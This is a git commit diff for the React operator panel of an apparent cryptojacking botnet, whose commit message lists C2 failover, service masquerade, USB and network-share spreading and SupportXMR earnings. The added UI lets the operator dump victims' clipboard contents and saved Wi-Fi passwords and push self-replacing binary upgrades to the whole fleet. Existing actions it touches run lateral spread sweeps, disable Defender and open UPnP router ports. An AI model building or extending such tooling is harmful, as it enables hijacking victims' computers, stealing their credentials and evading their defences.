Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -178,4 +178,38 @@
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
|
||||
/* Upgrade section */
|
||||
.upgrade-group { grid-column: 1 / -1; }
|
||||
|
||||
.upgrade-row {
|
||||
display: flex;
|
||||
gap: 0.75rem;
|
||||
align-items: center;
|
||||
margin-top: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.upgrade-select {
|
||||
flex: 1;
|
||||
min-width: 200px;
|
||||
background: rgba(0, 0, 0, 0.6);
|
||||
border: 1px solid rgba(0, 229, 255, 0.3);
|
||||
border-radius: 4px;
|
||||
color: #e0e0e0;
|
||||
padding: 6px 10px;
|
||||
font-size: 0.82rem;
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
|
||||
|
||||
.upgrade-btn {
|
||||
white-space: nowrap;
|
||||
padding: 6px 18px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
@@ -1,6 +1,6 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent } from '../../types';
|
||||
import type { Agent, Build } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import './AgentRemoteActions.css';
|
||||
@@ -42,6 +42,12 @@ export default function AgentRemoteActions({
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
useEffect(() => {
|
||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||
}, []);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
// Track the highest _seq we've already processed.
|
||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||
@@ -102,6 +108,7 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
@@ -195,6 +202,9 @@ export default function AgentRemoteActions({
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -215,6 +225,39 @@ export default function AgentRemoteActions({
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group upgrade-group">
|
||||
<h3>Fleet Upgrade</h3>
|
||||
<p className="action-group-hint">
|
||||
Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts — no manual access needed.
|
||||
</p>
|
||||
<div className="upgrade-row">
|
||||
<select
|
||||
className="upgrade-select"
|
||||
value={selectedBuildId}
|
||||
onChange={(e) => setSelectedBuildId(e.target.value)}
|
||||
>
|
||||
<option value="">— pick a build —</option>
|
||||
{builds.filter((b) => b.download_url).map((b) => (
|
||||
<option key={b.id} value={b.id}>
|
||||
{b.file_name ?? b.id} ({b.platform ?? 'win'})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan upgrade-btn"
|
||||
disabled={!isOnline || !!busy || !selectedBuildId}
|
||||
onClick={() => {
|
||||
const build = builds.find((b) => b.id === selectedBuildId);
|
||||
if (!build?.download_url) return;
|
||||
dispatch('upgrade', { data: build.download_url });
|
||||
}}
|
||||
>
|
||||
{busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group aggressive-group">
|
||||
<h3>NAT & Aggressive Ops</h3>
|
||||
<p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
|
||||
|
||||
@@ -121,6 +121,23 @@
|
||||
grid-column: span 2;
|
||||
}
|
||||
|
||||
.earnings-real-grid {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 4px;
|
||||
margin-top: 6px;
|
||||
}
|
||||
|
||||
.er-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
font-size: 0.78rem;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.er-lbl { opacity: 0.55; }
|
||||
.er-val { font-family: 'Consolas', monospace; color: var(--neon-amber, #f5a623); }
|
||||
|
||||
|
||||
.agent-action-btn {
|
||||
padding: 0.4rem 0.75rem;
|
||||
|
||||
@@ -83,34 +83,67 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
|
||||
);
|
||||
}
|
||||
|
||||
interface EarningsData {
|
||||
xmr_per_day?: number;
|
||||
note?: string;
|
||||
source?: string; // "pool_api" | "estimate"
|
||||
pending_xmr?: number; // from pool API
|
||||
paid_xmr?: number;
|
||||
pool_hashrate?: number;
|
||||
last_payment_xmr?: number;
|
||||
last_payment_time?: string;
|
||||
}
|
||||
|
||||
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
||||
const [xmrPerDay, setXmrPerDay] = useState<number | null>(null);
|
||||
const [note, setNote] = useState('');
|
||||
const [data, setData] = useState<EarningsData | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
if (hashrate <= 0) {
|
||||
setXmrPerDay(null);
|
||||
setData(null);
|
||||
return;
|
||||
}
|
||||
// AbortController ensures a stale in-flight response never overwrites a
|
||||
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||
const controller = new AbortController();
|
||||
api.getEarningsEstimate(hashrate).then((r) => {
|
||||
if (!controller.signal.aborted) {
|
||||
setXmrPerDay(r.xmr_per_day);
|
||||
setNote(r.note);
|
||||
}
|
||||
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||
api.getEarningsEstimate(hashrate).then((r: EarningsData) => {
|
||||
if (!controller.signal.aborted) setData(r);
|
||||
}).catch((err: unknown) => { if (!controller.signal.aborted) console.error(err); });
|
||||
return () => controller.abort();
|
||||
}, [hashrate]);
|
||||
|
||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||
if (!data || hashrate <= 0) return null;
|
||||
|
||||
const isReal = data.source === 'pool_api';
|
||||
|
||||
return (
|
||||
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
|
||||
<div className="stat-label font-tech">Earnings Estimate</div>
|
||||
<div className="stat-value neon-glow-amber">~{xmrPerDay.toFixed(6)} XMR/day</div>
|
||||
<div className="stat-sub">{note}</div>
|
||||
<div className="stat-label font-tech">
|
||||
{isReal ? '⛏ Pool Earnings (Live)' : 'Earnings Estimate'}
|
||||
</div>
|
||||
{data.xmr_per_day != null && (
|
||||
<div className="stat-value neon-glow-amber">
|
||||
{isReal ? '' : '~'}{data.xmr_per_day.toFixed(6)} XMR/day
|
||||
</div>
|
||||
)}
|
||||
{isReal ? (
|
||||
<div className="earnings-real-grid">
|
||||
{data.pending_xmr != null && (
|
||||
<span className="er-row"><span className="er-lbl">Pending</span><span className="er-val">{data.pending_xmr.toFixed(8)} XMR</span></span>
|
||||
)}
|
||||
{data.paid_xmr != null && (
|
||||
<span className="er-row"><span className="er-lbl">Total Paid</span><span className="er-val">{data.paid_xmr.toFixed(4)} XMR</span></span>
|
||||
)}
|
||||
{data.last_payment_xmr != null && data.last_payment_xmr > 0 && (
|
||||
<span className="er-row"><span className="er-lbl">Last Payout</span><span className="er-val">{data.last_payment_xmr.toFixed(6)} XMR</span></span>
|
||||
)}
|
||||
{data.last_payment_time && (
|
||||
<span className="er-row"><span className="er-lbl">Paid At</span><span className="er-val">{new Date(data.last_payment_time).toLocaleDateString()}</span></span>
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="stat-sub">{data.note}</div>
|
||||
)}
|
||||
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.5, fontSize: '0.7rem' }}>
|
||||
{isReal ? 'SupportXMR live data · refreshes every 5 min' : 'Formula estimate · connect wallet for live data'}
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user